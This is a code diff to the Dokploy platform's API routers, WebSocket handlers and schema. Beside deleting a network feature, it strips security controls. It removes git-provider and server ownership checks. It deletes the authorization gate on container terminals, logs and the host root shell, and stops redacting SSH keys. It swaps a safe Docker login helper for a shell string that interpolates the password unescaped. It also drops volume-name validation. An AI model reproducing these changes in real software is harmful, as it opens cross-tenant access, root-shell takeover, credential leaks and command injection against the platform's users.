 
 			if (!giteaId) {
@@ -104,9 +99,6 @@ export const giteaRouter = createTRPCRouter({
 				});
 			}
 
-			const gitea = await findGiteaById(giteaId);
-			await assertGitProviderAccess(ctx.session, gitea.gitProvider);
-
 			try {
 				const repositories = await getGiteaRepositories(giteaId);
 				return repositories;
@@ -121,7 +113,7 @@ export const giteaRouter = createTRPCRouter({
 
 	getGiteaBranches: protectedProcedure
 		.input(apiFindGiteaBranches)
-		.query(async ({ input, ctx }) => {
+		.query(async ({ input }) => {
 			const { giteaId, owner, repositoryName } = input;
 
 			if (!giteaId || !owner || !repositoryName) {
@@ -132,9 +124,6 @@ export const giteaRouter = createTRPCRouter({
 				});
 			}
 
-			const gitea = await findGiteaById(giteaId);
-			await assertGitProviderAccess(ctx.session, gitea.gitProvider);
-
 			try {
 				return await getGiteaBranches({
 					giteaId,
@@ -152,12 +141,9 @@ export const giteaRouter = createTRPCRouter({
 
 	testConnection: protectedProcedure
 		.input(apiGiteaTestConnection)
-		.mutation(async ({ input, ctx }) => {
+		.mutation(async ({ input }) => {
 			const giteaId = input.giteaId ?? "";
 
-			const gitea = await findGiteaById(giteaId);
-			await assertGitProviderAccess(ctx.session, gitea.gitProvider);
-
 			try {
 				const result = await testGiteaConnection({
 					giteaId,

apps/dokploy/server/api/routers/github.ts

@@ -1,5 +1,4 @@
 import {
-	assertGitProviderAccess,
 	findGithubById,
 	getAccessibleGitProviderIds,
 	getGithubBranches,
@@ -23,27 +22,17 @@ import {
 } from "@/server/db/schema";
 
 export const githubRouter = createTRPCRouter({
-	one: protectedProcedure
+	one: protectedProcedure.input(apiFindOneGithub).query(async ({ input }) => {
-		.input(apiFindOneGithub)
+		return await findGithubById(input.githubId);
-		.query(async ({ input, ctx }) => {
+	}),
-			const github = await findGithubById(input.githubId);
-			await assertGitProviderAccess(ctx.session, github.gitProvider);
-			return github;
-		}),
 	getGithubRepositories: protectedProcedure
 		.input(apiFindOneGithub)
-		.query(async ({ input, ctx }) => {
+		.query(async ({ input }) => {
-			const github = await findGithubById(input.githubId);
-			await assertGitProviderAccess(ctx.session, github.gitProvider);
 			return await getGithubRepositories(input.githubId);
 		}),
 	getGithubBranches: protectedProcedure
 		.input(apiFindGithubBranches)
-		.query(async ({ input, ctx }) => {
+		.query(async ({ input }) => {
-			if (input.githubId) {
-				const github = await findGithubById(input.githubId);
-				await assertGitProviderAccess(ctx.session, github.gitProvider);
-			}
 			return await getGithubBranches(input);
 		}),
 	githubProviders: protectedProcedure.query(async ({ ctx }) => {
@@ -78,10 +67,8 @@ export const githubRouter = createTRPCRouter({
 
 	testConnection: protectedProcedure
 		.input(apiFindOneGithub)
-		.mutation(async ({ input, ctx }) => {
+		.mutation(async ({ input }) => {
 			try {
-				const github = await findGithubById(input.githubId);
-				await assertGitProviderAccess(ctx.session, github.gitProvider);
 				const result = await getGithubRepositories(input.githubId);
 				return `Found ${result.length} repositories`;
 			} catch (err) {

apps/dokploy/server/api/routers/gitlab.ts

@@ -1,5 +1,4 @@
 import {
-	assertGitProviderAccess,
 	createGitlab,
 	findGitlabById,
 	getAccessibleGitProviderIds,
@@ -52,13 +51,9 @@ export const gitlabRouter = createTRPCRouter({
 				});
 			}
 		}),
-	one: protectedProcedure
+	one: protectedProcedure.input(apiFindOneGitlab).query(async ({ input }) => {
-		.input(apiFindOneGitlab)
+		return await findGitlabById(input.gitlabId);
-		.query(async ({ input, ctx }) => {
+	}),
-			const gitlab = await findGitlabById(input.gitlabId);
-			await assertGitProviderAccess(ctx.session, gitlab.gitProvider);
-			return gitlab;
-		}),
 	gitlabProviders: protectedProcedure.query(async ({ ctx }) => {
 		const accessibleIds = await getAccessibleGitProviderIds(ctx.session);
 
@@ -91,27 +86,19 @@ export const gitlabRouter = createTRPCRouter({
 	}),
 	getGitlabRepositories: protectedProcedure
 		.input(apiFindOneGitlab)
-		.query(async ({ input, ctx }) => {
+		.query(async ({ input }) => {
-			const gitlab = await findGitlabById(input.gitlabId);
-			await assertGitProviderAccess(ctx.session, gitlab.gitProvider);
 			return await getGitlabRepositories(input.gitlabId);
 		}),
 
 	getGitlabBranches: protectedProcedure
 		.input(apiFindGitlabBranches)
-		.query(async ({ input, ctx }) => {
+		.query(async ({ input }) => {
-			if (input.gitlabId) {
-				const gitlab = await findGitlabById(input.gitlabId);
-				await assertGitProviderAccess(ctx.session, gitlab.gitProvider);
-			}
 			return await getGitlabBranches(input);
 		}),
 	testConnection: protectedProcedure
 		.input(apiGitlabTestConnection)
-		.mutation(async ({ input, ctx }) => {
+		.mutation(async ({ input }) => {
 			try {
-				const gitlab = await findGitlabById(input.gitlabId);
-				await assertGitProviderAccess(ctx.session, gitlab.gitProvider);
 				const result = await testGitlabConnection(input);
 
 				return `Found ${result} repositories`;

apps/dokploy/server/api/routers/network.ts

@@ -1,117 +0,0 @@
-import {
-	createNetwork,
-	findNetworkById,
-	findNetworksToSync,
-	importDockerNetworks,
-	inspectNetwork,
-	recreateNetwork,
-	removeNetwork,
-} from "@dokploy/server";
-import { TRPCError } from "@trpc/server";
-import { and, desc, eq, isNull } from "drizzle-orm";
-import { z } from "zod";
-import { createTRPCRouter, protectedProcedure } from "@/server/api/trpc";
-import { db } from "@/server/db";
-import {
-	apiCreateNetwork,
-	apiFindOneNetwork,
-	apiRemoveNetwork,
-	network as networkTable,
-} from "@/server/db/schema";
-
-export const networkRouter = createTRPCRouter({
-	all: protectedProcedure
-		.input(z.object({ serverId: z.string().optional() }))
-		.query(async ({ ctx, input }) => {
-			const rows = await db.query.network.findMany({
-				where: and(
-					eq(networkTable.organizationId, ctx.session.activeOrganizationId),
-					input.serverId
-						? eq(networkTable.serverId, input.serverId)
-						: isNull(networkTable.serverId),
-				),
-				orderBy: desc(networkTable.createdAt),
-			});
-			return rows;
-		}),
-
-	one: protectedProcedure
-		.input(apiFindOneNetwork)
-		.query(async ({ ctx, input }) => {
-			const row = await findNetworkById(input.networkId);
-			if (row.organizationId !== ctx.session.activeOrganizationId) {
-				throw new TRPCError({
-					code: "NOT_FOUND",
-					message: "Network not found",
-				});
-			}
-			return row;
-		}),
-	create: protectedProcedure
-		.input(apiCreateNetwork)
-		.mutation(async ({ ctx, input }) => {
-			return createNetwork(input, ctx.session.activeOrganizationId);
-		}),
-	networksToSync: protectedProcedure
-		.input(z.object({ serverId: z.string().optional() }))
-		.query(async ({ ctx, input }) => {
-			return findNetworksToSync(
-				ctx.session.activeOrganizationId,
-				input.serverId ?? null,
-			);
-		}),
-
-	import: protectedProcedure
-		.input(
-			z.object({
-				serverId: z.string().optional(),
-				names: z.array(z.string().min(1)).min(1),
-			}),
-		)
-		.mutation(async ({ ctx, input }) => {
-			return importDockerNetworks(
-				ctx.session.activeOrganizationId,
-				input.serverId ?? null,
-				input.names,
-			);
-		}),
-
-	inspect: protectedProcedure
-		.input(apiFindOneNetwork)
-		.query(async ({ ctx, input }) => {
-			const network = await findNetworkById(input.networkId);
-			if (network.organizationId !== ctx.session.activeOrganizationId) {
-				throw new TRPCError({
-					code: "NOT_FOUND",
-					message: "Network not found",
-				});
-			}
-			return inspectNetwork(input.networkId);
-		}),
-
-	recreate: protectedProcedure
-		.input(apiFindOneNetwork)
-		.mutation(async ({ ctx, input }) => {
-			const network = await findNetworkById(input.networkId);
-			if (network.organizationId !== ctx.session.activeOrganizationId) {
-				throw new TRPCError({
-					code: "NOT_FOUND",
-					message: "Network not found",
-				});
-			}
-			return recreateNetwork(input.networkId);
-		}),
-
-	remove: protectedProcedure
-		.input(apiRemoveNetwork)
-		.mutation(async ({ ctx, input }) => {
-			const network = await findNetworkById(input.networkId);
-			if (network.organizationId !== ctx.session.activeOrganizationId) {
-				throw new TRPCError({
-					code: "UNAUTHORIZED",
-					message: "Not authorized to delete this network",
-				});
-			}
-			return removeNetwork(input.networkId);
-		}),
-});

apps/dokploy/server/api/routers/registry.ts

@@ -5,7 +5,6 @@ import {
 	findRegistryById,
 	IS_CLOUD,
 	removeRegistry,
-	safeDockerLoginCommand,
 	updateRegistry,
 } from "@dokploy/server";
 import { db } from "@dokploy/server/db";
@@ -123,11 +122,7 @@ export const registryRouter = createTRPCRouter({
 				if (input.serverId && input.serverId !== "none") {
 					await execAsyncRemote(
 						input.serverId,
-						safeDockerLoginCommand(
+						`echo ${input.password} | docker ${args.join(" ")}`,
-							input.registryUrl,
-							input.username,
-							input.password,
-						),
 					);
 				} else {
 					await execFileAsync("docker", args, {
@@ -187,11 +182,7 @@ export const registryRouter = createTRPCRouter({
 				if (input.serverId && input.serverId !== "none") {
 					await execAsyncRemote(
 						input.serverId,
-						safeDockerLoginCommand(
+						`echo ${registryData.password} | docker ${args.join(" ")}`,
-							registryData.registryUrl,
-							registryData.username,
-							registryData.password,
-						),
 					);
 				} else {
 					await execFileAsync("docker", args, {

apps/dokploy/server/api/routers/schedule.ts

@@ -13,7 +13,6 @@ import {
 	findMemberByUserId,
 } from "@dokploy/server/services/permission";
 import {
-	assertHostScheduleAccess,
 	createSchedule,
 	deleteSchedule,
 	findScheduleById,
@@ -32,8 +31,6 @@ export const scheduleRouter = createTRPCRouter({
 	create: protectedProcedure
 		.input(createScheduleSchema)
 		.mutation(async ({ input, ctx }) => {
-			await assertHostScheduleAccess(ctx, input.scheduleType, input.serverId);
-
 			const serviceId = input.applicationId || input.composeId;
 			if (serviceId) {
 				await checkServicePermissionAndAccess(ctx, serviceId, {
@@ -47,14 +44,51 @@ export const scheduleRouter = createTRPCRouter({
 					);
 				}
 			} else {
+				if (input.scheduleType === "dokploy-server" && IS_CLOUD) {
+					throw new TRPCError({
+						code: "FORBIDDEN",
+						message:
+							"Host-level schedules are not available in the cloud version.",
+					});
+				}
+
 				await checkPermission(ctx, { schedule: ["create"] });
 
-				if (IS_CLOUD && input.scheduleType === "server" && input.serverId) {
+				if (
-					await assertScheduledJobLimit(
+					input.scheduleType === "server" ||
+					input.scheduleType === "dokploy-server"
+				) {
+					const member = await findMemberByUserId(
+						ctx.user.id,
 						ctx.session.activeOrganizationId,
-						"server",
-						input.serverId,
 					);
+					if (member.role !== "owner" && member.role !== "admin") {
+						throw new TRPCError({
+							code: "FORBIDDEN",
+							message:
+								"Only owners and admins can manage server-level schedules.",
+						});
+					}
+				}
+
+				if (input.scheduleType === "server" && input.serverId) {
+					const targetServer = await findServerById(input.serverId);
+					if (
+						targetServer.organizationId !== ctx.session.activeOrganizationId
+					) {
+						throw new TRPCError({
+							code: "UNAUTHORIZED",
+							message: "You don't have access to this server.",
+						});
+					}
+
+					if (IS_CLOUD) {
+						await assertScheduledJobLimit(
+							ctx.session.activeOrganizationId,
+							"server",
+							input.serverId,
+						);
+					}
 				}
 			}
 			const newSchedule = await createSchedule({
@@ -101,22 +135,6 @@ export const scheduleRouter = createTRPCRouter({
 				});
 			}
 
-			await assertHostScheduleAccess(
-				ctx,
-				existingSchedule.scheduleType,
-				existingSchedule.serverId,
-			);
-			if (
-				input.scheduleType &&
-				input.scheduleType !== existingSchedule.scheduleType
-			) {
-				await assertHostScheduleAccess(
-					ctx,
-					input.scheduleType,
-					input.serverId ?? existingSchedule.serverId,
-				);
-			}
-
 			const serviceId =
 				existingSchedule.applicationId || existingSchedule.composeId;
 			if (serviceId) {
@@ -124,7 +142,47 @@ export const scheduleRouter = createTRPCRouter({
 					schedule: ["update"],
 				});
 			} else {
+				if (existingSchedule.scheduleType === "dokploy-server" && IS_CLOUD) {
+					throw new TRPCError({
+						code: "FORBIDDEN",
+						message:
+							"Host-level schedules are not available in the cloud version.",
+					});
+				}
+
 				await checkPermission(ctx, { schedule: ["update"] });
+
+				if (
+					existingSchedule.scheduleType === "server" ||
+					existingSchedule.scheduleType === "dokploy-server"
+				) {
+					const member = await findMemberByUserId(
+						ctx.user.id,
+						ctx.session.activeOrganizationId,
+					);
+					if (member.role !== "owner" && member.role !== "admin") {
+						throw new TRPCError({
+							code: "FORBIDDEN",
+							message:
+								"Only owners and admins can manage server-level schedules.",
+						});
+					}
+				}
+
+				if (
+					existingSchedule.scheduleType === "server" &&
+					existingSchedule.serverId
+				) {
+					const targetServer = await findServerById(existingSchedule.serverId);
+					if (
+						targetServer.organizationId !== ctx.session.activeOrganizationId
+					) {
+						throw new TRPCError({
+							code: "UNAUTHORIZED",
+							message: "You don't have access to this server.",
+						});
+					}
+				}
 			}
 			const updatedSchedule = await updateSchedule(input);
 
@@ -164,19 +222,50 @@ export const scheduleRouter = createTRPCRouter({
 		.input(z.object({ scheduleId: z.string() }))
 		.mutation(async ({ input, ctx }) => {
 			const scheduleItem = await findScheduleById(input.scheduleId);
-			await assertHostScheduleAccess(
-				ctx,
-				scheduleItem.scheduleType,
-				scheduleItem.serverId,
-			);
-
 			const serviceId = scheduleItem.applicationId || scheduleItem.composeId;
 			if (serviceId) {
 				await checkServicePermissionAndAccess(ctx, serviceId, {
 					schedule: ["delete"],
 				});
 			} else {
+				if (scheduleItem.scheduleType === "dokploy-server" && IS_CLOUD) {
+					throw new TRPCError({
+						code: "FORBIDDEN",
+						message:
+							"Host-level schedules are not available in the cloud version.",
+					});
+				}
+
 				await checkPermission(ctx, { schedule: ["delete"] });
+
+				if (
+					scheduleItem.scheduleType === "server" ||
+					scheduleItem.scheduleType === "dokploy-server"
+				) {
+					const member = await findMemberByUserId(
+						ctx.user.id,
+						ctx.session.activeOrganizationId,
+					);
+					if (member.role !== "owner" && member.role !== "admin") {
+						throw new TRPCError({
+							code: "FORBIDDEN",
+							message:
+								"Only owners and admins can manage server-level schedules.",
+						});
+					}
+				}
+
+				if (scheduleItem.scheduleType === "server" && scheduleItem.serverId) {
+					const targetServer = await findServerById(scheduleItem.serverId);
+					if (
+						targetServer.organizationId !== ctx.session.activeOrganizationId
+					) {
+						throw new TRPCError({
+							code: "UNAUTHORIZED",
+							message: "You don't have access to this server.",
+						});
+					}
+				}
 			}
 			await deleteSchedule(input.scheduleId);
 
@@ -300,19 +389,50 @@ export const scheduleRouter = createTRPCRouter({
 		.input(z.object({ scheduleId: z.string().min(1) }))
 		.mutation(async ({ input, ctx }) => {
 			const scheduleItem = await findScheduleById(input.scheduleId);
-			await assertHostScheduleAccess(
-				ctx,
-				scheduleItem.scheduleType,
-				scheduleItem.serverId,
-			);
-
 			const serviceId = scheduleItem.applicationId || scheduleItem.composeId;
 			if (serviceId) {
 				await checkServicePermissionAndAccess(ctx, serviceId, {
 					schedule: ["create"],
 				});
 			} else {
+				if (scheduleItem.scheduleType === "dokploy-server" && IS_CLOUD) {
+					throw new TRPCError({
+						code: "FORBIDDEN",
+						message:
+							"Host-level schedules are not available in the cloud version.",
+					});
+				}
+
 				await checkPermission(ctx, { schedule: ["create"] });
+
+				if (
+					scheduleItem.scheduleType === "server" ||
+					scheduleItem.scheduleType === "dokploy-server"
+				) {
+					const member = await findMemberByUserId(
+						ctx.user.id,
+						ctx.session.activeOrganizationId,
+					);
+					if (member.role !== "owner" && member.role !== "admin") {
+						throw new TRPCError({
+							code: "FORBIDDEN",
+							message:
+								"Only owners and admins can manage server-level schedules.",
+						});
+					}
+				}
+
+				if (scheduleItem.scheduleType === "server" && scheduleItem.serverId) {
+					const targetServer = await findServerById(scheduleItem.serverId);
+					if (
+						targetServer.organizationId !== ctx.session.activeOrganizationId
+					) {
+						throw new TRPCError({
+							code: "UNAUTHORIZED",
+							message: "You don't have access to this server.",
+						});
+					}
+				}
 			}
 			try {
 				await runCommand(input.scheduleId);

apps/dokploy/server/api/routers/server.ts

@@ -9,7 +9,6 @@ import {
 	getPublicIpWithFallback,
 	haveActiveServices,
 	IS_CLOUD,
-	redactServerSshKey,
 	removeDeploymentsByServerId,
 	serverAudit,
 	serverSetup,
@@ -106,7 +105,7 @@ export const serverRouter = createTRPCRouter({
 				});
 			}
 
-			return redactServerSshKey(server);
+			return server;
 		}),
 	getDefaultCommand: withPermission("server", "read")
 		.input(apiFindOneServer)
@@ -413,14 +412,6 @@ export const serverRouter = createTRPCRouter({
 		.input(apiRemoveServer)
 		.mutation(async ({ input, ctx }) => {
 			try {
-				const currentServer = await findServerById(input.serverId);
-				if (currentServer.organizationId !== ctx.session.activeOrganizationId) {
-					throw new TRPCError({
-						code: "UNAUTHORIZED",
-						message: "You are not authorized to delete this server",
-					});
-				}
-
 				const activeServers = await haveActiveServices(input.serverId);
 
 				if (activeServers) {
@@ -429,6 +420,7 @@ export const serverRouter = createTRPCRouter({
 						message: "Server has active services, please delete them first",
 					});
 				}
+				const currentServer = await findServerById(input.serverId);
 				await audit(ctx, {
 					action: "delete",
 					resourceType: "server",
@@ -444,7 +436,7 @@ export const serverRouter = createTRPCRouter({
 					await updateServersBasedOnQuantity(admin.id, admin.serversQuantity);
 				}
 
-				return redactServerSshKey(currentServer);
+				return currentServer;
 			} catch (error) {
 				throw error;
 			}

apps/dokploy/server/api/routers/swarm.ts

@@ -18,30 +18,12 @@ export const swarmRouter = createTRPCRouter({
 				serverId: z.string().optional(),
 			}),
 		)
-		.query(async ({ input, ctx }) => {
+		.query(async ({ input }) => {
-			if (input.serverId) {
-				const server = await findServerById(input.serverId);
-				if (server.organizationId !== ctx.session?.activeOrganizationId) {
-					throw new TRPCError({
-						code: "UNAUTHORIZED",
-						message: "You are not authorized to access this server",
-					});
-				}
-			}
 			return await getSwarmNodes(input.serverId);
 		}),
 	getNodeInfo: withPermission("server", "read")
 		.input(z.object({ nodeId: z.string(), serverId: z.string().optional() }))
-		.query(async ({ input, ctx }) => {
+		.query(async ({ input }) => {
-			if (input.serverId) {
-				const server = await findServerById(input.serverId);
-				if (server.organizationId !== ctx.session?.activeOrganizationId) {
-					throw new TRPCError({
-						code: "UNAUTHORIZED",
-						message: "You are not authorized to access this server",
-					});
-				}
-			}
 			return await getNodeInfo(input.nodeId, input.serverId);
 		}),
 	getNodeApps: withPermission("server", "read")
@@ -50,16 +32,7 @@ export const swarmRouter = createTRPCRouter({
 				serverId: z.string().optional(),
 			}),
 		)
-		.query(async ({ input, ctx }) => {
+		.query(async ({ input }) => {
-			if (input.serverId) {
-				const server = await findServerById(input.serverId);
-				if (server.organizationId !== ctx.session?.activeOrganizationId) {
-					throw new TRPCError({
-						code: "UNAUTHORIZED",
-						message: "You are not authorized to access this server",
-					});
-				}
-			}
 			return getNodeApplications(input.serverId);
 		}),
 	getAppInfos: withPermission("server", "read")
@@ -81,16 +54,7 @@ export const swarmRouter = createTRPCRouter({
 				serverId: z.string().optional(),
 			}),
 		)
-		.query(async ({ input, ctx }) => {
+		.query(async ({ input }) => {
-			if (input.serverId) {
-				const server = await findServerById(input.serverId);
-				if (server.organizationId !== ctx.session?.activeOrganizationId) {
-					throw new TRPCError({
-						code: "UNAUTHORIZED",
-						message: "You are not authorized to access this server",
-					});
-				}
-			}
 			return await getApplicationInfo(input.appName, input.serverId);
 		}),
 	getContainerStats: withPermission("server", "read")

apps/dokploy/server/api/routers/volume-backups.ts

@@ -13,8 +13,6 @@ import { db } from "@dokploy/server/db";
 import {
 	createVolumeBackupSchema,
 	updateVolumeBackupSchema,
-	VOLUME_NAME_MESSAGE,
-	VOLUME_NAME_REGEX,
 	volumeBackups,
 } from "@dokploy/server/db/schema";
 import { findDestinationById } from "@dokploy/server/services/destination";
@@ -277,10 +275,7 @@ export const volumeBackupsRouter = createTRPCRouter({
 			z.object({
 				backupFileName: z.string().min(1),
 				destinationId: z.string().min(1),
-				volumeName: z
+				volumeName: z.string().min(1),
-					.string()
-					.min(1)
-					.regex(VOLUME_NAME_REGEX, VOLUME_NAME_MESSAGE),
 				id: z.string().min(1),
 				serviceType: z.enum(["application", "compose"]),
 				serverId: z.string().optional(),

apps/dokploy/server/wss/authorize.ts

@@ -1,89 +0,0 @@
-import { getAccessibleServerIds } from "@dokploy/server";
-import {
-	checkServiceAccess,
-	findMemberByUserId,
-	hasPermission,
-} from "@dokploy/server/services/permission";
-
-type WssUser = { id: string } | null | undefined;
-type WssSession = { activeOrganizationId?: string | null } | null | undefined;
-
-const buildCtx = (user: { id: string }, activeOrganizationId: string) => ({
-	user: { id: user.id },
-	session: { activeOrganizationId },
-});
-
-// Authorizes docker/container operations opened over a WebSocket (container
-// terminal, container logs, container stats). Requires the docker permission
-// (owner/admin, or a member explicitly granted canAccessToDocker) and, for a
-// remote server, that the server is accessible to the caller. Previously these
-// handlers only checked session + organization, so any member could reach a
-// root shell / logs of any container.
-export const canAccessDockerOverWss = async (
-	user: WssUser,
-	session: WssSession,
-	serverId?: string | null,
-	serviceId?: string | null,
-): Promise<boolean> => {
-	if (!user || !session?.activeOrganizationId) return false;
-
-	const ctx = buildCtx(user, session.activeOrganizationId);
-
-	// When the container belongs to a specific Dokploy service (opened from a
-	// service page, so serviceId is present), access to that service is the
-	// authoritative gate — matching the service tRPC endpoints (e.g.
-	// application.readLogs, which check service access only). A member granted
-	// the service can read its logs / open its terminal even without the broad
-	// "docker" permission or explicit access to the server it runs on.
-	if (serviceId) {
-		try {
-			await checkServiceAccess(ctx, serviceId, "read");
-			return true;
-		} catch {
-			return false;
-		}
-	}
-
-	// Generic Docker overview (no service context): mirror the docker tRPC router
-	// — require the docker permission and access to the target server.
-	if (!(await hasPermission(ctx, { docker: ["read"] }))) return false;
-
-	if (serverId && serverId !== "local") {
-		const accessible = await getAccessibleServerIds({
-			userId: user.id,
-			activeOrganizationId: session.activeOrganizationId,
-		});
-		if (!accessible.has(serverId)) return false;
-	}
-
-	return true;
-};
-
-// Authorizes the host/server SSH terminal opened over a WebSocket. The local
-// host terminal is a root shell on the control-plane host, so it is restricted
-// to owner/admin. A remote server terminal is gated on server access.
-export const canAccessTerminalOverWss = async (
-	user: WssUser,
-	session: WssSession,
-	serverId?: string | null,
-): Promise<boolean> => {
-	if (!user || !session?.activeOrganizationId) return false;
-
-	if (serverId && serverId !== "local") {
-		const accessible = await getAccessibleServerIds({
-			userId: user.id,
-			activeOrganizationId: session.activeOrganizationId,
-		});
-		return accessible.has(serverId);
-	}
-
-	try {
-		const member = await findMemberByUserId(
-			user.id,
-			session.activeOrganizationId,
-		);
-		return member?.role === "owner" || member?.role === "admin";
-	} catch {
-		return false;
-	}
-};

apps/dokploy/server/wss/docker-container-logs.ts

@@ -3,7 +3,6 @@ import { findServerById, IS_CLOUD, validateRequest } from "@dokploy/server";
 import { spawn } from "node-pty";
 import { Client } from "ssh2";
 import { WebSocketServer } from "ws";
-import { canAccessDockerOverWss } from "./authorize";
 import {
 	getShell,
 	isValidContainerId,
@@ -42,7 +41,6 @@ export const setupDockerContainerLogsWebSocketServer = (
 		const since = url.searchParams.get("since") ?? "all";
 		const serverId = url.searchParams.get("serverId");
 		const runType = url.searchParams.get("runType");
-		const serviceId = url.searchParams.get("serviceId");
 		const { user, session } = await validateRequest(req);
 
 		if (!containerId) {
@@ -76,11 +74,6 @@ export const setupDockerContainerLogsWebSocketServer = (
 			return;
 		}
 
-		if (!(await canAccessDockerOverWss(user, session, serverId, serviceId))) {
-			ws.close(4003, "Not authorized");
-			return;
-		}
-
 		// Set up keep-alive ping mechanism to prevent timeout
 		// Send ping every 45 seconds to keep connection alive
 		const pingInterval = setInterval(() => {

apps/dokploy/server/wss/docker-container-terminal.ts

@@ -3,7 +3,6 @@ import { findServerById, IS_CLOUD, validateRequest } from "@dokploy/server";
 import { spawn } from "node-pty";
 import { Client } from "ssh2";
 import { WebSocketServer } from "ws";
-import { canAccessDockerOverWss } from "./authorize";
 import { isValidContainerId, isValidShell } from "./utils";
 
 export const setupDockerContainerTerminalWebSocketServer = (
@@ -33,7 +32,6 @@ export const setupDockerContainerTerminalWebSocketServer = (
 		const containerId = url.searchParams.get("containerId");
 		const activeWay = url.searchParams.get("activeWay");
 		const serverId = url.searchParams.get("serverId");
-		const serviceId = url.searchParams.get("serviceId");
 		const { user, session } = await validateRequest(req);
 
 		if (!containerId) {
@@ -60,11 +58,6 @@ export const setupDockerContainerTerminalWebSocketServer = (
 			ws.close();
 			return;
 		}
-
-		if (!(await canAccessDockerOverWss(user, session, serverId, serviceId))) {
-			ws.close(4003, "Not authorized");
-			return;
-		}
 		try {
 			if (serverId) {
 				const server = await findServerById(serverId);

apps/dokploy/server/wss/docker-stats.ts

@@ -9,7 +9,6 @@ import {
 	validateRequest,
 } from "@dokploy/server";
 import { WebSocketServer } from "ws";
-import { canAccessDockerOverWss } from "./authorize";
 
 export const setupDockerStatsMonitoringSocketServer = (
 	server: http.Server<typeof http.IncomingMessage, typeof http.ServerResponse>,
@@ -45,7 +44,6 @@ export const setupDockerStatsMonitoringSocketServer = (
 			| "application"
 			| "stack"
 			| "docker-compose";
-		const serviceId = url.searchParams.get("serviceId");
 		const { user, session } = await validateRequest(req);
 
 		if (!appName) {
@@ -57,11 +55,6 @@ export const setupDockerStatsMonitoringSocketServer = (
 			ws.close();
 			return;
 		}
-
-		if (!(await canAccessDockerOverWss(user, session, null, serviceId))) {
-			ws.close(4003, "Not authorized");
-			return;
-		}
 		const intervalId = setInterval(async () => {
 			try {
 				// Special case: when monitoring "dokploy", get host system stats instead of container stats

apps/dokploy/server/wss/terminal.ts

@@ -9,7 +9,6 @@ import { publicIpv4, publicIpv6 } from "public-ip";
 import { Client, type ConnectConfig } from "ssh2";
 import { WebSocketServer } from "ws";
 import { getDockerHost } from "../utils/docker";
-import { canAccessTerminalOverWss } from "./authorize";
 import { setupLocalServerSSHKey } from "./utils";
 
 const COMMAND_TO_ALLOW_LOCAL_ACCESS = `
@@ -94,11 +93,6 @@ export const setupTerminalWebSocketServer = (
 			return;
 		}
 
-		if (!(await canAccessTerminalOverWss(user, session, serverId))) {
-			ws.close(4003, "Not authorized");
-			return;
-		}
-
 		let connectionDetails: ConnectConfig = {};
 
 		const isLocalServer = serverId === "local";

packages/server/src/db/schema/account.ts

@@ -8,7 +8,6 @@ import {
 	timestamp,
 } from "drizzle-orm/pg-core";
 import { nanoid } from "nanoid";
-import { network } from "./network";
 import { projects } from "./project";
 import { server } from "./server";
 import { ssoProvider } from "./sso";
@@ -109,7 +108,6 @@ export const organizationRelations = relations(
 			references: [user.id],
 		}),
 		servers: many(server),
-		networks: many(network),
 		projects: many(projects),
 		members: many(member),
 		ssoProviders: many(ssoProvider),

packages/server/src/db/schema/ai.ts

@@ -54,15 +54,6 @@ export const apiUpdateAi = createSchema
 	})
 	.omit({ organizationId: true });
 
-export const aiCustomProviderSchema = z.object({
-	name: z.string().min(1, { message: "Name is required" }),
-	apiUrl: z.string().url({ message: "Please enter a valid URL" }),
-});
-
-export const apiSaveAiCustomProviders = z.object({
-	providers: z.array(aiCustomProviderSchema),
-});
-
 export const deploySuggestionSchema = z.object({
 	environmentId: z.string().min(1),
 	id: z.string().min(1),

packages/server/src/db/schema/application.ts

@@ -233,7 +233,6 @@ export const applications = pgTable("application", {
 			onDelete: "set null",
 		},
 	),
-	networkIds: text("networkIds").array().default([]),
 });
 
 export const applicationsRelations = relations(
@@ -375,7 +374,6 @@ const createSchema = createInsertSchema(applications, {
 	previewRequireCollaboratorPermissions: z.boolean().optional(),
 	watchPaths: z.array(z.string()).optional().optional(),
 	previewLabels: z.array(z.string()).optional(),
-	networkIds: z.array(z.string()).optional(),
 	cleanCache: z.boolean().optional(),
 	stopGracePeriodSwarm: z.number().nullable(),
 	endpointSpecSwarm: EndpointSpecSwarmSchema.nullable(),

packages/server/src/db/schema/compose.ts

@@ -113,7 +113,6 @@ export const compose = pgTable("compose", {
 	serverId: text("serverId").references(() => server.serverId, {
 		onDelete: "cascade",
 	}),
-	networkIds: text("networkIds").array().default([]),
 });
 
 export const composeRelations = relations(compose, ({ one, many }) => ({

packages/server/src/db/schema/index.ts

@@ -19,7 +19,6 @@ export * from "./libsql";
 export * from "./mariadb";
 export * from "./mongo";
 export * from "./mount";
-export * from "./network";
 export * from "./mysql";
 export * from "./notification";
 export * from "./patch";

packages/server/src/db/schema/mariadb.ts

@@ -88,7 +88,6 @@ export const mariadb = pgTable("mariadb", {
 	serverId: text("serverId").references(() => server.serverId, {
 		onDelete: "cascade",
 	}),
-	networkIds: text("networkIds").array().default([]),
 });
 
 export const mariadbRelations = relations(mariadb, ({ one, many }) => ({

packages/server/src/db/schema/mongo.ts

@@ -92,7 +92,6 @@ export const mongo = pgTable("mongo", {
 		onDelete: "cascade",
 	}),
 	replicaSets: boolean("replicaSets").default(false),
-	networkIds: text("networkIds").array().default([]),
 });
 
 export const mongoRelations = relations(mongo, ({ one, many }) => ({

packages/server/src/db/schema/mysql.ts

@@ -86,7 +86,6 @@ export const mysql = pgTable("mysql", {
 	serverId: text("serverId").references(() => server.serverId, {
 		onDelete: "cascade",
 	}),
-	networkIds: text("networkIds").array().default([]),
 });
 
 export const mysqlRelations = relations(mysql, ({ one, many }) => ({

packages/server/src/db/schema/network.ts

@@ -1,136 +0,0 @@
-import { relations } from "drizzle-orm";
-import { boolean, jsonb, pgEnum, pgTable, text } from "drizzle-orm/pg-core";
-import { createInsertSchema } from "drizzle-zod";
-import { nanoid } from "nanoid";
-import { z } from "zod";
-import { organization } from "./account";
-import { server } from "./server";
-
-/**
- * Docker network driver types. Only bridge and overlay are supported:
- * "host"/"none" are Docker singletons that cannot be created, and
- * macvlan/ipvlan require driver options (parent interface) we don't expose.
- * Scope is derived from the driver (bridge = local, overlay = swarm), and
- * ingress/config-only networks are not manageable from Dokploy.
- */
-export const networkDriver = pgEnum("networkDriver", ["bridge", "overlay"]);
-
-export const network = pgTable("network", {
-	networkId: text("networkId")
-		.notNull()
-		.primaryKey()
-		.$defaultFn(() => nanoid()),
-	name: text("name").notNull(),
-	driver: networkDriver("driver").notNull().default("bridge"),
-	internal: boolean("internal").notNull().default(false),
-	attachable: boolean("attachable").notNull().default(false),
-	enableIPv4: boolean("enableIPv4").notNull().default(true),
